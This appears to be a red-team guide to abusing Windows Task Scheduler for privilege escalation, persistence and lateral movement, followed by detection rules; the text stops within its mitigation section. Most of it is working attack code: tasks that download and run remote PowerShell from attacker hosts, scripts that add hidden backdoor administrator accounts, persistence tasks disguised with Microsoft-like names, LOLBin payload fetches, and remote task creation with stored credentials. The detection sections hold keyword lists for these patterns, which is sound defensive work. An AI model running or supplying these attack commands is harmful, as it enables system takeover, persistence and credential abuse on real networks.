
Windows Scheduled Tasks for Privilege Escalation and Persistence
Comprehensive guide to exploiting and abusing Windows Task Scheduler for privilege escalation, lateral movement, and maintaining persistent access on compromised systems.
Introduction
Windows Task Scheduler is a powerful system component that enables automated execution of programs, scripts, and commands based on time-based triggers or system events. While designed as a legitimate system administration tool, Task Scheduler presents a significant attack surface for adversaries seeking privilege escalation, persistence, and lateral movement across Windows environments.
The Task Scheduler service (Schedule) runs with SYSTEM privileges and can execute tasks under various security contexts, including LocalSystem, domain accounts, and user profiles. This flexibility, combined with extensive configuration options and deep integration with Windows, makes it an attractive target for attackers. Scheduled tasks can be configured to run at system startup, user logon, specific times, or in response to system events—providing numerous opportunities for malicious code execution.
Scheduled task abuse manifests in several attack scenarios:
- Privilege Escalation: Exploiting misconfigured tasks or weak file permissions on task executables
- Persistence: Creating tasks that survive reboots and maintain access
- Lateral Movement: Remotely creating tasks on other systems using administrative credentials
- Defense Evasion: Hiding malicious tasks within legitimate-looking scheduled job configurations
- Execution: Leveraging scheduled tasks to run payloads at specific times or conditions
Why Task Scheduler Matters for Attackers
Scheduled tasks offer unique advantages compared to other persistence and execution mechanisms:
- Built-in System Feature: No additional tools required—native Windows functionality
- SYSTEM Privileges: Tasks can execute with the highest privilege level
- Flexible Triggers: Time-based, event-based, logon-based execution options
- Remote Management: Tasks can be created and managed remotely via RPC
- Stealth Potential: Thousands of legitimate tasks exist—malicious ones blend in
- Defense Bypass: Often less monitored than Registry run keys or services
- Credential Harvesting: Tasks may store credentials in cleartext or reversible encryption
Task scheduler abuse is documented as technique T1053.005 in the MITRE ATT&CK framework, where it appears under both privilege escalation and persistence tactics.
Technical Background
Task Scheduler Architecture
Windows Task Scheduler consists of several components working together:
Task Scheduler Service (Schedule/svchost.exe -k netsvcs -p -s Schedule):
- Runs as SYSTEM by default
- Manages task execution and monitoring
- Processes triggers and executes actions
- Maintains task state and history
Task Scheduler Library:
- Stored in
C:\Windows\System32\Tasks\ - XML files containing task definitions
- Hierarchical folder structure
- Inherits permissions from filesystem ACLs
Task Scheduler MMC Snap-in (taskschd.msc):
- GUI interface for task management
- Allows viewing, creating, and modifying tasks
- Displays task history and execution results
Command-Line Tools:
schtasks.exe: Legacy command-line toolat.exe: Deprecated legacy tool (removed in modern Windows)- PowerShell cmdlets:
Get-ScheduledTask,New-ScheduledTask, etc.
Task Components
A scheduled task consists of several key elements:
Task Triggers
Triggers define when a task executes:
| Trigger Type | Description | Attack Use Case |
|---|---|---|
| Time-based | Execute at specific time/date | Timed payload execution, data exfiltration |
| At Startup | Run when system boots | Persistence, privilege escalation |
| At Logon | Execute when user logs in | User-level persistence, credential harvesting |
| On Idle | Run when system is idle | Stealthy execution, crypto mining |
| Event-based | Triggered by Windows Event Log entry | Advanced persistence, responding to security events |
| On Registration | Execute immediately when task created | Immediate exploitation |
| On Session Connect/Disconnect | RDP/console session changes | Lateral movement detection evasion |
| Workstation Lock/Unlock | Screen lock events | Session hijacking opportunities |
Example XML trigger configuration:
<Triggers>
<LogonTrigger>
<Enabled>true</Enabled>
<UserId>DOMAIN\victim</UserId>
</LogonTrigger>
<TimeTrigger>
<Enabled>true</Enabled>
<StartBoundary>2026-01-01T00:00:00</StartBoundary>
<Repetition>
<Interval>PT1H</Interval>
<Duration>P1D</Duration>
</Repetition>
</TimeTrigger>
</Triggers>Task Actions
Actions specify what the task executes:
| Action Type | Description | Security Implications |
|---|---|---|
| Execute Program | Run executable or script | Most common—arbitrary code execution |
| Send Email | Send email message | Data exfiltration, alerting |
| Display Message | Show dialog box | Social engineering, deception |
| COM Handler | Execute COM object | Fileless execution, DLL hijacking |
Dangerous action configurations:
<Actions>
<Exec>
<Command>C:\Windows\System32\cmd.exe</Command>
<Arguments>/c powershell -ep bypass -c "IEX(IWR http://attacker.com/p.ps1)"</Arguments>
</Exec>
</Actions>Task Principals (Security Context)
Principals define the security context for task execution:
| Principal Type | Privilege Level | Common Misconfigurations |
|---|---|---|
| SYSTEM | Highest privileges | Tasks writable by non-admins |
| Administrator | Full system access | Stored credentials in task definition |
| Domain Admin | Enterprise control | Credentials cached in LSASS |
| User Account | User-level access | Writable task executable paths |
| Service Account | Variable privileges | Overprivileged service accounts |
XML principal configuration:
<Principals>
<Principal>
<UserId>NT AUTHORITY\SYSTEM</UserId>
<RunLevel>HighestAvailable</RunLevel>
</Principal>
</Principals>Key principal settings:
- RunLevel:
LeastPrivilegevs.HighestAvailable - LogonType: Password, S4U, Interactive, ServiceAccount
- ProcessTokenSidType: Default, Unrestricted, None
Task Storage and Permissions
Scheduled tasks are stored as XML files in C:\Windows\System32\Tasks\:
PS C:\> Get-ChildItem C:\Windows\System32\Tasks\ -Recurse -File
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 1/15/2026 3:45 AM 1256 Microsoft\Windows\UpdateOrchestrator\Backup Scan
-a---- 1/15/2026 2:30 AM 2048 CustomBackup
-a---- 1/14/2026 11:22 PM 3421 GoogleUpdateTaskMachineFile permissions control task modification:
# Check task file permissions
icacls "C:\Windows\System32\Tasks\CustomBackup"
# Vulnerable configuration:
# BUILTIN\Users:(I)(M) <-- Users can modify task!Registry storage (legacy tasks and metadata):
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\
├── Tasks\ # Task GUID mappings
├── Tree\ # Task folder structure
├── Boot\ # Boot-triggered tasks
├── Logon\ # Logon-triggered tasks
└── Plain\ # Time-triggered tasksDetection and Enumeration
PowerShell Enumeration
Comprehensive task enumeration using PowerShell:
# Method 1: Get all scheduled tasks with detailed information
Get-ScheduledTask | Where-Object {$_.State -ne 'Disabled'} |
Select-Object TaskName, TaskPath, State,
@{N='Actions';E={$_.Actions.Execute + ' ' + $_.Actions.Arguments}},
@{N='Triggers';E={$_.Triggers.CimClass.CimClassName}},
@{N='RunAs';E={$_.Principal.UserId}} |
Format-Table -AutoSize -Wrap
# Method 2: Find high-privilege tasks with writable components
Get-ScheduledTask | ForEach-Object {
$task = $_
$taskName = $task.TaskName
$taskPath = $task.TaskPath
$principal = $task.Principal.UserId
# Check if runs as SYSTEM or Administrator
if ($principal -match 'SYSTEM|Administrator') {
$actions = $task.Actions | Where-Object {$_.Execute}
foreach ($action in $actions) {
$executable = $action.Execute
$arguments = $action.Arguments
# Check if executable is writable
if (Test-Path $executable -ErrorAction SilentlyContinue) {
try {
$testFile = "$executable.test"
[System.IO.File]::WriteAllText($testFile, "test")
Remove-Item $testFile -Force -ErrorAction SilentlyContinue
[PSCustomObject]@{
TaskName = $taskName
TaskPath = $taskPath
RunAs = $principal
Executable = $executable
Vulnerability = "Writable Executable"
}
}
catch { }
}
# Check if task definition is writable
$taskFile = "C:\Windows\System32\Tasks$taskPath$taskName"
if (Test-Path $taskFile -ErrorAction SilentlyContinue) {
try {
$testFile = "$taskFile.test"
[System.IO.File]::WriteAllText($testFile, "test")
Remove-Item $testFile -Force -ErrorAction SilentlyContinue
[PSCustomObject]@{
TaskName = $taskName
TaskPath = $taskPath
RunAs = $principal
TaskFile = $taskFile
Vulnerability = "Writable Task File"
}
}
catch { }
}
}
}
}
# Method 3: Find tasks with stored credentials (potential credential theft)
Get-ScheduledTask | Where-Object {
$_.Principal.LogonType -eq 'Password'
} | Select-Object TaskName, TaskPath,
@{N='RunAs';E={$_.Principal.UserId}},
@{N='LogonType';E={$_.Principal.LogonType}}
# Method 4: Identify tasks in user-writable directories
Get-ScheduledTask | ForEach-Object {
$actions = $_.Actions | Where-Object {$_.Execute}
foreach ($action in $actions) {
$exe = $action.Execute
$dir = Split-Path $exe -Parent
if ($dir -and (Test-Path $dir -ErrorAction SilentlyContinue)) {
try {
$testFile = Join-Path $dir "test_$(Get-Random).tmp"
[System.IO.File]::WriteAllText($testFile, "test")
Remove-Item $testFile -Force
[PSCustomObject]@{
TaskName = $_.TaskName
Executable = $exe
WriteableDirectory = $dir
RunAs = $_.Principal.UserId
}
}
catch { }
}
}
}
# Method 5: Find recently modified tasks (potential attacker activity)
Get-ChildItem C:\Windows\System32\Tasks\ -Recurse -File |
Where-Object {$_.LastWriteTime -gt (Get-Date).AddDays(-7)} |
Select-Object FullName, LastWriteTime |
Sort-Object LastWriteTime -DescendingCommand-Line Enumeration
Using schtasks.exe for enumeration:
:: List all scheduled tasks
schtasks /query /fo LIST /v
:: Filter for tasks running as SYSTEM
schtasks /query /fo LIST /v | findstr /i "SYSTEM"
:: List tasks in specific folder
schtasks /query /tn "\Microsoft\Windows\UpdateOrchestrator\*"
:: Export task to XML for analysis
schtasks /query /tn "TaskName" /xml > task.xml
:: List tasks with next run time
schtasks /query /fo TABLE /nh
:: Find tasks created recently (within last 7 days)
forfiles /P C:\Windows\System32\Tasks /S /D -7 /C "cmd /c echo @path @fdate"Automated Tools
# PowerUp - Part of PowerSploit
Import-Module .\PowerUp.ps1
# Check all privilege escalation vectors including scheduled tasks
Invoke-AllChecks
# Specific scheduled task check
Get-ModifiableScheduledTaskFile
# Output example:
# TaskName : BackupTask
# TaskFilePath : C:\Windows\System32\Tasks\BackupTask
# ModifiableFile : C:\Scripts\backup.bat
# ModifiableFilePermissions: BUILTIN\Users [WriteData/CreateFiles]
# TaskTrigger : Daily at 3:00 AM
# RunAs : SYSTEM
# AbuseFunction : Write-ScheduledTaskAction -TaskName 'BackupTask' -PayloadPath 'evil.exe'
# Check for weak task file permissions
Get-UnquotedService | Where-Object {$_.AbuseFunction -match 'Task'}# WinPEAS - Windows Privilege Escalation Awesome Scripts
.\winPEASx64.exe quiet scheduledtasks
# Output includes:
# [+] Checking scheduled tasks
#
# [!] Modifiable scheduled task binary
# TaskName: CustomBackup
# Task to run: C:\Scripts\backup.bat
# Run As: SYSTEM
# File Permissions: BUILTIN\Users [Modify]
#
# [!] Writable scheduled task definition
# Task File: C:\Windows\System32\Tasks\MaintenanceTask
# Permissions: Everyone [Write]
# Full system check
.\winPEASx64.exe systeminfo scheduledtasks fileanalysis# SharpUp - C# privilege escalation auditor
.\SharpUp.exe audit ScheduledTasks
# Output:
# === Modifiable Scheduled Tasks ===
#
# Name : BackupService
# Action : C:\Tools\backup.exe
# Triggers : Daily at 2:00 AM
# Run As : SYSTEM
# Modifiable : C:\Tools\backup.exe (Users: Modify)
# Next Run Time : 2026-02-06 02:00:00
# JSON output
.\SharpUp.exe audit ScheduledTasks -outputfile=tasks.json# Seatbelt - C# security enumeration tool
.\Seatbelt.exe ScheduledTasks
# Focused checks
.\Seatbelt.exe ScheduledTasks -full
# Output includes:
# ==== Scheduled Tasks (Non-Microsoft) ====
#
# Name : CustomBackup
# Action : C:\Scripts\backup.ps1
# Triggers : At system startup
# State : Ready
# Run As : SYSTEM
# Run Level : HighestAvailable
# Task File Perms : BUILTIN\Users (Modify)
# *** Task definition is WRITABLE by current user ***
# Check specific task
.\Seatbelt.exe ScheduledTasks TaskName=BackupTaskManual Deep Analysis
Detailed task analysis script:
function Analyze-ScheduledTask {
param([string]$TaskName)
$task = Get-ScheduledTask -TaskName $TaskName -ErrorAction Stop
$taskPath = "C:\Windows\System32\Tasks" + $task.TaskPath + $task.TaskName
Write-Host "`n[*] Analyzing Task: $TaskName" -ForegroundColor Cyan
# Task Information
Write-Host "`n[*] Task Configuration:" -ForegroundColor Cyan
Write-Host " State: $($task.State)" -ForegroundColor Gray
Write-Host " Run As: $($task.Principal.UserId)" -ForegroundColor Gray
Write-Host " Run Level: $($task.Principal.RunLevel)" -ForegroundColor Gray
Write-Host " Logon Type: $($task.Principal.LogonType)" -ForegroundColor Gray
# Triggers
Write-Host "`n[*] Triggers:" -ForegroundColor Cyan
foreach ($trigger in $task.Triggers) {
Write-Host " Type: $($trigger.CimClass.CimClassName)" -ForegroundColor Gray
if ($trigger.Enabled) {
Write-Host " Enabled: Yes" -ForegroundColor Green
} else {
Write-Host " Enabled: No" -ForegroundColor Yellow
}
}
# Actions
Write-Host "`n[*] Actions:" -ForegroundColor Cyan
foreach ($action in $task.Actions) {
if ($action.Execute) {
$executable = $action.Execute
$arguments = $action.Arguments
Write-Host " Executable: $executable" -ForegroundColor Gray
Write-Host " Arguments: $arguments" -ForegroundColor Gray
# Check executable permissions
if (Test-Path $executable -ErrorAction SilentlyContinue) {
$acl = Get-Acl $executable
$writable = $acl.Access | Where-Object {
$_.FileSystemRights -match 'Write|Modify|FullControl' -and
$_.IdentityReference -match 'Users|Everyone|Authenticated'
}
if ($writable) {
Write-Host " [!] Executable is WRITABLE" -ForegroundColor Red
}
# Check directory permissions
$dir = Split-Path $executable -Parent
$dirAcl = Get-Acl $dir
$dirWritable = $dirAcl.Access | Where-Object {
$_.FileSystemRights -match 'Write|Modify|FullControl' -and
$_.IdentityReference -match 'Users|Everyone|Authenticated'
}
if ($dirWritable) {
Write-Host " [!] Directory is WRITABLE" -ForegroundColor Red
}
}
}
}
# Task file permissions
Write-Host "`n[*] Task File Permissions:" -ForegroundColor Cyan
if (Test-Path $taskPath) {
$taskAcl = Get-Acl $taskPath
$taskWritable = $taskAcl.Access | Where-Object {
$_.FileSystemRights -match 'Write|Modify|FullControl' -and
$_.IdentityReference -match 'Users|Everyone|Authenticated'
}
if ($taskWritable) {
Write-Host " [!] Task file is WRITABLE" -ForegroundColor Red
Write-Host " [!] EXPLOITABLE!" -ForegroundColor Red -BackgroundColor Black
} else {
Write-Host " Task file is properly secured" -ForegroundColor Green
}
# Display relevant ACL entries
$taskAcl.Access | Where-Object {
$_.AccessControlType -eq 'Allow'
} | ForEach-Object {
Write-Host " $($_.IdentityReference): $($_.FileSystemRights)" -ForegroundColor Gray
}
}
# Stored credentials
if ($task.Principal.LogonType -eq 'Password') {
Write-Host "`n[!] Task uses stored credentials (potential credential theft)" -ForegroundColor Yellow
}
# Task history
Write-Host "`n[*] Recent Task History:" -ForegroundColor Cyan
Get-ScheduledTaskInfo -TaskName $TaskName | Select-Object LastRunTime, LastTaskResult, NextRunTime
}
# Usage
Analyze-ScheduledTask -TaskName "CustomBackup"Exploitation Techniques
Privilege Escalation via Writable Task File
Identify Vulnerable Task
Find a scheduled task running as SYSTEM with a writable task definition file.
Backup Original Task
Export the current task configuration for potential restoration.
Modify Task Definition
Edit the XML task file to execute malicious payload while maintaining appearance.
Wait for Execution
Task executes automatically based on its trigger (time, logon, startup, etc.).
Verify Success
Confirm privilege escalation through backdoor account or shell access.
Complete exploitation example:
# Step 1: Enumerate for writable task files
$writableTasks = Get-ScheduledTask | Where-Object {
$_.Principal.UserId -match 'SYSTEM'
} | ForEach-Object {
$taskFile = "C:\Windows\System32\Tasks" + $_.TaskPath + $_.TaskName
if (Test-Path $taskFile) {
try {
$testFile = "$taskFile.test"
[System.IO.File]::WriteAllText($testFile, "test")
Remove-Item $testFile -Force
[PSCustomObject]@{
TaskName = $_.TaskName
TaskFile = $taskFile
RunAs = $_.Principal.UserId
}
}
catch { }
}
}
$writableTasks | Format-Table -AutoSize
# Output:
# TaskName TaskFile RunAs
# -------- -------- -----
# BackupTask C:\Windows\System32\Tasks\BackupTask NT AUTHORITY\SYSTEM
# Step 2: Export original task
schtasks /query /tn "BackupTask" /xml > BackupTask_original.xml
# Step 3: Modify task to add malicious action
$taskXml = Get-Content "C:\Windows\System32\Tasks\BackupTask"
# Parse XML and add new action
[xml]$xml = $taskXml
$ns = New-Object System.Xml.XmlNamespaceManager($xml.NameTable)
$ns.AddNamespace("t", "http://schemas.microsoft.com/windows/2004/02/mit/task")
# Create new action element
$newAction = $xml.CreateElement("Exec", $ns.LookupNamespace("t"))
$command = $xml.CreateElement("Command", $ns.LookupNamespace("t"))
$command.InnerText = "cmd.exe"
$arguments = $xml.CreateElement("Arguments", $ns.LookupNamespace("t"))
$arguments.InnerText = "/c net user hacker P@ssw0rd123! /add && net localgroup administrators hacker /add"
$newAction.AppendChild($command) | Out-Null
$newAction.AppendChild($arguments) | Out-Null
# Add to actions
$actions = $xml.SelectSingleNode("//t:Actions", $ns)
$actions.AppendChild($newAction) | Out-Null
# Save modified task
$xml.Save("C:\Windows\System32\Tasks\BackupTask")
# Step 4: Verify modification
Get-ScheduledTask -TaskName "BackupTask" | Select-Object -ExpandProperty Actions
# Step 5: Force task execution (if you have permissions)
Start-ScheduledTask -TaskName "BackupTask"
# Or wait for scheduled trigger
# Step 6: Verify exploitation
net user hacker
# User name hacker
# Local Group Memberships *Administrators *UsersPrivilege Escalation via Writable Executable
When the task executable is writable but task definition is not:
# Step 1: Identify task with writable executable
$task = Get-ScheduledTask -TaskName "MaintenanceTask"
$executable = $task.Actions[0].Execute
# C:\Tools\maintenance.bat
# Step 2: Check permissions
icacls $executable
# C:\Tools\maintenance.bat BUILTIN\Users:(I)(F)
# Step 3: Backup original
Copy-Item $executable "$executable.bak"
# Step 4: Create malicious payload
$payload = @'
@echo off
REM Original functionality (maintain stealth)
echo Running maintenance...
REM Malicious additions
net user backdoor "P@ssw0rd!123" /add /y
net localgroup administrators backdoor /add
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v backdoor /t REG_DWORD /d 0 /f
REM Continue original script
REM [original script content here]
'@
$payload | Out-File $executable -Encoding ASCII
# Step 5: Wait for task execution or trigger manually
Start-ScheduledTask -TaskName "MaintenanceTask"
# Step 6: Restore original (optional, for stealth)
Start-Sleep -Seconds 60
Copy-Item "$executable.bak" $executable -Force
Remove-Item "$executable.bak"Creating Malicious Scheduled Tasks for Persistence
# Method 1: Create persistence task with PowerShell cmdlets
# Define task action
$action = New-ScheduledTaskAction -Execute 'powershell.exe' -Argument '-NoProfile -WindowStyle Hidden -Command "IEX(New-Object Net.WebClient).DownloadString(''http://10.10.14.5/beacon.ps1'')"'
# Define trigger (at system startup)
$trigger = New-ScheduledTaskTrigger -AtStartup
# Define principal (run as SYSTEM)
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest
# Register task (requires admin privileges)
Register-ScheduledTask -TaskName "WindowsUpdateCheck" -Action $action -Trigger $trigger -Principal $principal -Description "Checks for Windows updates"
# Alternative: User-level persistence (doesn't require admin)
$action = New-ScheduledTaskAction -Execute 'powershell.exe' -Argument '-ep bypass -w hidden -c "IEX(IWR http://10.10.14.5/p.ps1)"'
$trigger = New-ScheduledTaskTrigger -AtLogOn -User $env:USERNAME
Register-ScheduledTask -TaskName "UserSyncService" -Action $action -Trigger $trigger
# Hidden task in obscure folder
$action = New-ScheduledTaskAction -Execute 'cmd.exe' -Argument '/c C:\Windows\Temp\update.exe'
$trigger = New-ScheduledTaskTrigger -Daily -At 3am
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest
Register-ScheduledTask -TaskName "\Microsoft\Windows\Wdi\ResolutionHost" -Action $action -Trigger $trigger -Principal $principalREM Create task running at startup as SYSTEM
schtasks /create /tn "WindowsDefender\Diagnostics" /tr "C:\Windows\System32\evil.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f
REM Create task running at user logon
schtasks /create /tn "OneDriveSync" /tr "powershell.exe -ep bypass -w hidden -c IEX(IWR http://10.10.14.5/p.ps1)" /sc onlogon /f
REM Create task with multiple triggers
schtasks /create /tn "GoogleUpdate" /tr "C:\ProgramData\update.exe" /sc onstart /ru SYSTEM /f
schtasks /change /tn "GoogleUpdate" /tr "C:\ProgramData\update.exe" /sc daily /st 00:00 /f
REM Create task that runs every 5 minutes
schtasks /create /tn "SecurityHealth" /tr "C:\Windows\Temp\monitor.exe" /sc minute /mo 5 /ru SYSTEM /f
REM Create task responding to event logs
schtasks /create /tn "EventResponse" /tr "C:\Windows\System32\cmd.exe /c calc.exe" /sc onevent /ec Security /mo "*[System[(EventID=4624)]]" /ru SYSTEM /f
REM Create task on remote system (requires credentials)
schtasks /create /s REMOTE-PC /u DOMAIN\admin /p Password123! /tn "RemoteUpdate" /tr "C:\Windows\System32\backdoor.exe" /sc onstart /ru SYSTEM /f# Create task via COM objects (alternative to built-in cmdlets)
$service = New-Object -ComObject Schedule.Service
$service.Connect()
$taskFolder = $service.GetFolder("\")
$taskDefinition = $service.NewTask(0)
# Set principal
$taskDefinition.Principal.UserId = "SYSTEM"
$taskDefinition.Principal.LogonType = 5 # ServiceAccount
$taskDefinition.Principal.RunLevel = 1 # Highest
# Set trigger (logon)
$triggers = $taskDefinition.Triggers
$trigger = $triggers.Create(9) # 9 = Logon trigger
$trigger.Enabled = $true
# Set action
$actions = $taskDefinition.Actions
$action = $actions.Create(0) # 0 = Execute
$action.Path = "powershell.exe"
$action.Arguments = "-ep bypass -w hidden -c calc.exe"
# Register task
$taskFolder.RegisterTaskDefinition(
"MicrosoftEdgeUpdate",
$taskDefinition,
6, # TASK_CREATE_OR_UPDATE
$null,
$null,
5 # TASK_LOGON_SERVICE_ACCOUNT
)
Write-Host "Task created successfully"
# Via WMI (requires admin)
$class = [wmiclass]"\\.\root\cimv2:Win32_ScheduledJob"
$class.Create(
"powershell.exe -ep bypass -c calc.exe",
"********030000.000000+***" # Runs daily at 3 AM
)# Create scheduled task on remote systems
# Method 1: Using schtasks with explicit credentials
$target = "REMOTE-PC"
$username = "DOMAIN\admin"
$password = "Password123!"
& schtasks /create `
/s $target `
/u $username `
/p $password `
/tn "SystemUpdate" `
/tr "C:\Windows\System32\backdoor.exe" `
/sc onstart `
/ru SYSTEM `
/f
# Method 2: Using PowerShell remoting
$cred = Get-Credential -UserName "DOMAIN\admin" -Message "Enter credentials"
Invoke-Command -ComputerName REMOTE-PC -Credential $cred -ScriptBlock {
$action = New-ScheduledTaskAction -Execute 'C:\Windows\Temp\payload.exe'
$trigger = New-ScheduledTaskTrigger -AtStartup
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest
Register-ScheduledTask -TaskName "RemoteBackdoor" -Action $action -Trigger $trigger -Principal $principal
}
# Method 3: Using Impacket from Linux
# impacket-atexec -hashes :ntlmhash DOMAIN/admin@REMOTE-PC "schtasks /create /tn Backdoor /tr C:\backdoor.exe /sc onstart /ru SYSTEM"
# Method 4: Copy payload and create task
Copy-Item .\payload.exe -Destination "\\REMOTE-PC\C$\Windows\Temp\payload.exe"
& schtasks /create /s REMOTE-PC /u $username /p $password /tn "Update" /tr "C:\Windows\Temp\payload.exe" /sc onstart /ru SYSTEM /fAdvanced Evasion Techniques
Hiding Tasks in Legitimate Folders
Create tasks that blend with legitimate Windows tasks:
# Hide in Microsoft\Windows\ subfolder structure
$action = New-ScheduledTaskAction -Execute 'powershell.exe' -Argument '-w hidden -c IEX(IWR http://10.10.14.5/p.ps1)'
$trigger = New-ScheduledTaskTrigger -Daily -At 2am
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest
# Register in legitimate-looking location
Register-ScheduledTask -TaskName "\Microsoft\Windows\UpdateOrchestrator\SecurityUpdate" -Action $action -Trigger $trigger -Principal $principal
# Or hide in deep subfolder
Register-ScheduledTask -TaskName "\Microsoft\Windows\Diagnosis\Scheduled\Maintenance\Telemetry" -Action $action -Trigger $trigger -Principal $principal
# Tasks here are less likely to be reviewedLiving Off the Land Binaries (LOLBins)
Use Microsoft-signed binaries to avoid detection:
# Using certutil for payload download
$action = New-ScheduledTaskAction -Execute 'certutil.exe' -Argument '-urlcache -split -f http://10.10.14.5/payload.exe C:\Windows\Temp\update.exe'
$trigger = New-ScheduledTaskTrigger -AtStartup
Register-ScheduledTask -TaskName "UpdateCheck" -Action $action -Trigger $trigger
# Using mshta for script execution
$action = New-ScheduledTaskAction -Execute 'mshta.exe' -Argument 'javascript:eval("VarXGV3QBzbWplY3RJTmV3IE9iamVjdChcXCJ...") '
Register-ScheduledTask -TaskName "Update" -Action $action -Trigger $trigger
# Using rundll32 for DLL execution
$action = New-ScheduledTaskAction -Execute 'rundll32.exe' -Argument 'C:\Windows\System32\shell32.dll,Control_RunDLL C:\Users\Public\payload.dll'
Register-ScheduledTask -TaskName "SystemConfig" -Action $action -Trigger $trigger
# Using regsvr32 for scriptlet execution
$action = New-ScheduledTaskAction -Execute 'regsvr32.exe' -Argument '/s /u /i:http://10.10.14.5/payload.sct scrobj.dll'
Register-ScheduledTask -TaskName "Registration" -Action $action -Trigger $triggerEvent-Based Triggers for Stealth
Execute only in response to specific events:
<!-- Trigger on failed logon (responds to security events) -->
<EventTrigger>
<Enabled>true</Enabled>
<Subscription><QueryList><Query Id="0" Path="Security"><Select Path="Security">*[System[(EventID=4625)]]</Select></Query></QueryList></Subscription>
</EventTrigger># PowerShell creation
$trigger = Get-CimClass -Namespace root/Microsoft/Windows/TaskScheduler -ClassName MSFT_TaskEventTrigger
$triggerInstance = New-CimInstance -CimClass $trigger -ClientOnly
$triggerInstance.Subscription = @'
<QueryList>
<Query Id="0" Path="Security">
<Select Path="Security">*[System[(EventID=4624 or EventID=4625)]]</Select>
</Query>
</QueryList>
'@
$triggerInstance.Enabled = $true
# Register task with event trigger
# (requires XML export/import or COM manipulation)Detection and Monitoring
Event Log Monitoring
Key Event IDs for scheduled task activity:
# Event ID 4698: Scheduled task created
Get-WinEvent -FilterHashtable @{
LogName='Security'
ID=4698
} | Where-Object {
$_.TimeCreated -gt (Get-Date).AddDays(-7)
} | ForEach-Object {
$xml = [xml]$_.ToXml()
$taskName = $xml.Event.EventData.Data | Where-Object {$_.Name -eq 'TaskName'} | Select-Object -ExpandProperty '#text'
$creator = $xml.Event.EventData.Data | Where-Object {$_.Name -eq 'SubjectUserName'} | Select-Object -ExpandProperty '#text'
[PSCustomObject]@{
Time = $_.TimeCreated
TaskName = $taskName
Creator = $creator
Computer = $_.MachineName
}
} | Format-Table -AutoSize
# Event ID 4702: Scheduled task updated
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4702}
# Event ID 4699: Scheduled task deleted
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4699}
# Event ID 4700/4701: Scheduled task enabled/disabled
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4700,4701}
# Task Scheduler Operational Log (more detailed)
Get-WinEvent -FilterHashtable @{
LogName='Microsoft-Windows-TaskScheduler/Operational'
ID=106,110,129,141,200,201
} | Select-Object TimeCreated, Id, Message | Format-Table -Wrap
# Event ID 106: Task registered
# Event ID 110: Task triggered
# Event ID 129: Task action started
# Event ID 141: Task removed
# Event ID 200: Task executed
# Event ID 201: Task completedSuspicious Task Detection Rules
# Detect tasks with suspicious characteristics
$suspiciousTasks = Get-ScheduledTask | ForEach-Object {
$task = $_
$suspicious = $false
$reasons = @()
# Check for non-Microsoft tasks running as SYSTEM
if ($task.TaskPath -notmatch '^\\Microsoft\\' -and
$task.Principal.UserId -match 'SYSTEM') {
$suspicious = $true
$reasons += "Non-Microsoft task running as SYSTEM"
}
# Check for tasks with network destinations in actions
foreach ($action in $task.Actions) {
if ($action.Execute -match 'powershell|cmd|wscript|mshta|rundll32|regsvr32') {
if ($action.Arguments -match 'http://|https://|IWR|IEX|DownloadString|WebClient') {
$suspicious = $true
$reasons += "Network communication in task action"
}
}
# Check for suspicious executables
if ($action.Execute -match 'C:\\Users\\|C:\\Temp\\|C:\\ProgramData\\|AppData') {
$suspicious = $true
$reasons += "Task executes from suspicious location"
}
}
# Check for tasks created recently
$taskFile = "C:\Windows\System32\Tasks" + $task.TaskPath + $task.TaskName
if (Test-Path $taskFile) {
$created = (Get-Item $taskFile).CreationTime
if ($created -gt (Get-Date).AddDays(-7)) {
$suspicious = $true
$reasons += "Recently created task"
}
}
# Check for hidden tasks (not visible in GUI)
if ($task.Settings.Hidden) {
$suspicious = $true
$reasons += "Task is hidden"
}
if ($suspicious) {
[PSCustomObject]@{
TaskName = $task.TaskName
TaskPath = $task.TaskPath
RunAs = $task.Principal.UserId
State = $task.State
Actions = ($task.Actions | ForEach-Object { $_.Execute + " " + $_.Arguments }) -join "; "
Reasons = $reasons -join "; "
}
}
}
$suspiciousTasks | Format-Table -Wrap -AutoSizeSIEM Detection Rules
Splunk query for malicious scheduled task detection:
index=windows (source="WinEventLog:Security" EventCode=4698 OR EventCode=4702)
OR (source="WinEventLog:Microsoft-Windows-TaskScheduler/Operational" EventCode=106 OR EventCode=110 OR EventCode=141)
| eval task_name=coalesce('Task Name', TaskName)
| eval task_command=coalesce(Command, 'Task To Run')
| where (
match(task_command, "(?i)(powershell|cmd|wscript|mshta|rundll32|regsvr32|certutil|bitsadmin)")
AND match(task_command, "(?i)(http|download|iex|iwr|invoke|bypass)")
)
OR NOT match(task_name, "^\\\\Microsoft\\\\Windows\\\\")
| stats count by _time, host, user, task_name, task_command
| where count > 0Elastic Stack (EQL) detection:
sequence by host.name with maxspan=5m
[file where event.type == "creation" and
file.path : "C:\\Windows\\System32\\Tasks\\*" and
not file.path : "C:\\Windows\\System32\\Tasks\\Microsoft\\*"]
[process where event.type == "start" and
process.parent.name == "svchost.exe" and
process.args : ("powershell*", "cmd*", "*http*")]Sigma Rule
title: Suspicious Scheduled Task Creation
id: 92a8b6fd-bb6a-4e7d-8b6d-1c5c8f9d6e7a
status: experimental
description: Detects creation of scheduled tasks with suspicious characteristics
references:
- https://attack.mitre.org/techniques/T1053/005/
tags:
- attack.persistence
- attack.privilege_escalation
- attack.t1053.005
logsource:
product: windows
service: security
detection:
selection:
EventID: 4698
filter_suspicious:
TaskContent|contains:
- 'powershell'
- 'cmd.exe'
- 'http://'
- 'IEX'
- 'DownloadString'
- 'bypass'
filter_legit:
TaskName|startswith: '\Microsoft\'
condition: selection and filter_suspicious and not filter_legit
falsepositives:
- Legitimate administrative automation
- Software deployment tools
level: highMitigation and Remediation
Preventive Measures
Harden task scheduler configuration:
# 1. Restrict task creation to administrators
# Set proper permissions on task folder
icacls "C:\Windows\System32\Tasks" /inheritance:r
